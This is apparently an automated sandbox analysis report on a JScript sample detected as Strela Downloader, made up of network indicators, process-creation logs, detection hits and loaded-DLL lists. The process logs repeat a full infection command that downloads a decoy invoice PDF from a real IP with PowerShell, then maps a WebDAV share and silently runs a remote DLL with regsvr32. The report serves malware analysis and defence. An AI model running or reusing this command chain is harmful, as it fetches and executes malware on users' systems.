20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49763

Source: global traffic

TCP traffic: 192.168.2.7:49763 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:55456 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49747 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1352935483.000002149BBCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1415403319.000001E26C239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1414034783.000001E26C239000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1415403319.000001E26C239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/_
Source: net.exe, 00000007.00000003.1414034783.000001E26C239000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1415403319.000001E26C239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/k
Source: net.exe, 00000007.00000002.1415351087.000001E26C208000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sce
Source: svchost.exe, 00000009.00000002.2633693918.0000024237200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.1412998349.0000024237070000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1448, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1712226379134618467.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5092:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pbbdo3hc.pgg.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1712226379134618467.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1652,i,8993619329335362403,3252811449787906501,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1652,i,8993619329335362403,3252811449787906501,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
